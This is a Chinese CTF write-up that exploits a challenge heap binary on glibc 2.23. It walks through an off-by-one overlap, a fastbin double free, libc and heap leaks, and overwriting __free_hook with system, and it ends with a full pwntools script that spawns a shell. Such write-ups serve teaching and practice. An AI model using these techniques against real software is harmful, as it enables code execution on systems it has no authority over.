2019年12月圣诞前后某日某平台的习题之一,没给libc,一般默认应该是Ubuntu16.04,libc-2.23。 题目限制很多,其中不少新的fastbin double free利用套路,网上相关资料也不多见,值得学习记录一下

应用程序情况

程序为ELF64,查看保护情况

$ checksec heap
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

可看出保护全开,再看程序功能。

$ ./heap
1.Add 
2.Delete 
3.Show 
4.Exit 
Choice :

可看出程序共3个功能,添加,删除和显示

添加功能函数代码为:

sub_AFA();
  for ( i = 0; i <= 31; ++i )
  {
    if ( !qword_202060[i] )
    {
      printf("size: ");
      v0 = sub_CBF();
      buf = malloc(v0);
      qword_202060[i] = buf;
      printf("data: ");
      read(0, buf, v0 + 1);
      ++dword_20204C;
      return __readfsqword(0x28u) ^ v4;
    }
  }

可看出可任意分配指定长度的空间,且输入数据可多读一位,存在off by one漏洞

函数前面调用了sub_AFA函数,该函数代码如下:

if ( dword_202048 )
    _assert_fail("!replaced", "fastbin.c", 0x1Fu, "replace_hook");
  dword_202048 = 1;
  _malloc_hook = (__int64)sub_AB0;

可看出每次添加分配内存,都强制修改__malloc_hook指向sub_AB0 函数,对应函数将__malloc_hook指向程序开始初始化时备份的BSS存储值

删除代码如下:

printf("Which heap do you want to delete: ");
  v1 = sub_CBF("Which heap do you want to delete: ");
  if ( v1 >= 0 && v1 <= dword_20204C )
  {
    free((void *)qword_202060[v1]);
    qword_202060[v1] = 0LL;
    --dword_20204C;
  }
  else
  {
    puts("Out of bound!");
  }

可看出free后并清空了指针

查看代码如下:

for ( i = 0; i <= 32; ++i )
  {
    if ( qword_202060[i] )
      printf("%d : %s \n", (unsigned int)i, qword_202060[i]);
  }

程序会打印所有指针有效的空间内容。

堆溢出一般套路是泄露libc地址,利用任意地址修改的漏洞劫持got指向,若开启了RELRO, 则修改__malloc_hook__free_hook的指向,或修改_IO_2_1_stdout_的vtable结构中的xsputn或overflow等函数指向以利用打印输出触发gotshell

泄露libc地址

泄露libc地址的思路是:

  • 先分配2次,第一次分配unsorted bin的size,删掉第一个chunk后,再分配一个相同size的chunk,长度为8,显示时即可将字符串后的top_chunk地址(main_arena+88)带出来
add(0x100,'0000')#0
add(0x68,'1111')#1
delete(0)
add(0x100,'a'*8)#0
show()
libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success(hex(libc_addr))
libc.address=libc_addr-0x3c4b20-88
success('libc addr:'+hex(libc.address))

fastbin attack

off by one & double free

利用off by one 漏洞制造fast bin double free的情况,方法是:创建3个chunk,分别为chunk 2-4, 前2个用来覆盖以创造overlapping的情况,后一个以防止与top chunk合并,然后删除chunk1后再创建,最后一个字节覆盖chunk2的size,然后删除chunk2就可将chunk2chunk3都删除了,然后重新分配2个chunk分别落到chunk2chunk3位置,即为heap2heap5。删除heap5,再删除heap3,就相当于对原chunk3位置的fastbin空间进行double free

add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3

add(0x68,'2222')#inde 2 in chunk 2
add(0x68,'5555')#index 5 in chunk 3

delete(5) # free chunk 3
delete(4) 
delete(3) #double free  chunk 3

·

泄露heap地址

若需要泄露heap地址,可连续删除2个相邻的chunk,其中1个chunk就会写入heap地址,打印出来即可

add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3
add(0x68,'2222')#2, heap 2
#-------------show heap addr
add(0x68,'5555')#5, heap 3
add(0x68,'6666') #6
delete(6)
delete(5) #in chunk3,heap_addr in this chunk, free chunk 3
show()
p.recvuntil('3 : ')
heap_addr=u64(p.recv(6).ljust(8,'\0')) # chunk3 addr
success(hex(heap_addr))
#--------------------

delete(4) 
delete(3) #double free  chunk 3

如下图所示泄露的地址所在位置:

attack

double free后fastbin指向为chunk3->chunk4->chunk3->...., 然后进行fastbin攻击

__malloc_hook

fastbin常规攻击__malloc_hook, 方法是在__malloc_hook上方寻找满足条件的chunk size,在__malloc_hook-0x23位置寻找到满足条件的size,size为0x7f,那chunk的大小为0x70-0x80之间即可,我们使用的0x68尺寸对应的chunk大小为0x70,可利用该位置

利用方法为:

add(0x68,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,'xxxx')
add(0x68,'cccc')
one_gadget=libc.address+0x4526a

add(0x68,'a'*0x13+p64(one_gadget))

题目给的程序限制了__malloc_hook的操作,修改也无法作用

_IO_2_1_stdout_

_IO_2_1_stdout_结构中找到满足条件的size,位于_IO_2_1_stdout_+0x9d就有个位置

add(0x68,p64(libc.sym['_IO_2_1_stdout_']+0x9d))# index heap 3
add(0x68,p64(one_gadget)*12) #index heap 4
add(0x68,'cccc') #heap 5

add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2++p64(libc.sym['_IO_2_1_stdout_']+144)) 
#add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2+p64(heap_addr-0x60)) 
# 可将vtable指向heap-0x60,即`index heap 4`的内容位置,参数偏移可调试计算
'''
这里也可直接使用_IO_2_1_stdout_中的地址(无需泄露heap地址),
这里0xfffffffff为mode值,一般为0或-1,
下面2个one_gadget位于_IO_2_1_stdout_+200和_IO_2_1_stdout_+208,
vtable结构中的xputsn位于vtable的第8个指针,
那vtable地址可指向_IO_2_1_stdout_+144或_IO_2_1_stdout_+152,
即可控制xpustsn指向one_gadget
#note: puts或printf函数会调用xputsn指向的函数
'''

_IO_2_1_stdout_结构体如下:

gef➤  p _IO_2_1_stdout_
$5 = _IO_FILE_plus
_IO_FILE_plus
{
  file = _IO_FILE
{
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7fb37b8cc6a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7fb37b8cb8e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7fb37b8cd780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7fb37b8cb7a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7fb37b8ca6e0 <_IO_file_jumps>
}

gef➤  p *(const struct _IO_jump_t *)_IO_2_1_stdout_.vtable
$8 = _IO_jump_t
_IO_jump_t
{
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7fb37b5809c0 <_IO_new_file_finish>, 
  __overflow = 0x7fb37b581730 <_IO_new_file_overflow>, 
  __underflow = 0x7fb37b5814a0 <_IO_new_file_underflow>, 
  __uflow = 0x7fb37b582600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7fb37b583980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7fb37b5801e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7fb37b57fec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7fb37b57f4c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7fb37b582a00 <_IO_default_seekpos>, 
  __setbuf = 0x7fb37b57f430 <_IO_new_file_setbuf>, 
  __sync = 0x7fb37b57f370 <_IO_new_file_sync>, 
  __doallocate = 0x7fb37b574180 <__GI__IO_file_doallocate>, 
  __read = 0x7fb37b5801a0 <__GI__IO_file_read>, 
  __write = 0x7fb37b57fb70 <_IO_new_file_write>, 
  __seek = 0x7fb37b57f970 <__GI__IO_file_seek>, 
  __close = 0x7fb37b57f340 <__GI__IO_file_close>, 
  __stat = 0x7fb37b57fb60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7fb37b583af0 <_IO_default_showmanyc>, 
  __imbue = 0x7fb37b583b00 <_IO_default_imbue>
}

调试发现无法get shell,使用其他one_gadget也get shell失败,调试发现其均无法满足约束条件

one_gadget /lib/x86_64-linux-gnu/libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

__free_hook

如何getshell,那只能想办法劫持到system地址,但函数需要参数/bin/sh。 那可以劫持__free_hook地址指向system, 再删除对应空间(其值为/bin/sh\x00)即可调用system(/bin/sh)从而get shell

劫持__free_hook的思路是,想办法修改top chunk(main_arena+88)指向__free_hook上方某地址,然后多次分配内存,直到__free_hook地址附近,构造长度修改即可。

修改top chunk地址的方法是: 在__malloc_hook附近找到满足条件的chunk size, 在__malloc_hook-0x3找到一个位置;

写入时构造一个chunk header, size为0x70, 将0x70的fastbin数组位置(main_arena+48)指向这里

下一次分配即可分配到main_arena+16位置, 写入滑动到main_arena+88, 写入__free_hook上方某个满足top chunk size条件的位置地址 ,这样top chunk就指向__free_hook上方某位置了

__free_hook上方找一下,__free_hook-0xb58位置有一个符合条件的size,size足够大,满足top chunk条件

然后不断分配chunk,直到__free_hook附近。如分配0x90, 对应chunk size为0xa0, 那0xb58/0xa0=18, 0xb58-0xa0*18=24, 分配完18个0xa0大小的chunk后,再分配一个chunk,内容写入滑动24-0x10=8个字符即到达__free_hook位置,写入system即可

可看出__free_hook指向了system地址

add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# in heap 3
add(0x68,'/bin/sh\x00') # heap 4
add(0x68,'5555') # heap 5

add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20))
add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58))

for i in range(18):
    add(0x90,'aaa')
add(0x90,'a'*8+p64(libc.sym['system']))
delete(4) # heap 4 content:/bin/sh\x00

p.interactive()

运行即可get shell

打远程也成功:

最终exp为:

from pwn import *
#context.log_level='debug'

p=process('./heap')
#p=remote('120.55.43.255', 12240) # raw ctf game addr
libc=ELF('./heap').libc

def add(size,data):
    p.sendlineafter('Choice :','1')
    p.sendlineafter('size: ',str(size))
    p.sendafter('data: ',data)

def delete(index):
    p.sendlineafter('Choice :','2')
    p.sendlineafter('delete: ',str(index))

def show():
    p.sendlineafter('Choice :','3')

add(0x100,'0000')#0
add(0x68,'1111')#1
delete(0)
add(0x100,'aaaaaaaa')#0
show()
libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success(hex(libc_addr))
libc.address=libc_addr-0x3c4b20-88
success('libc addr:'+hex(libc.address))

add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3

add(0x68,'2222')#2, heap 2
add(0x68,'5555')#5, heap 3

delete(5) # free chunk 3
delete(4) 
delete(3) #double free  chunk 3
#3->4->3

add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# heap 3
add(0x68,'/bin/sh\x00') # heap 4
add(0x68,'cccc') # heap 5
add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20))
add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58))

for i in range(18):
    add(0x90,'aaa')
add(0x90,'a'*8+p64(libc.sym['system']))

delete(4)
p.interactive()

样本见附件

heap.zip (0.003 MB) 下载附件
点击收藏 | 1 关注 | 1
登录 后跟帖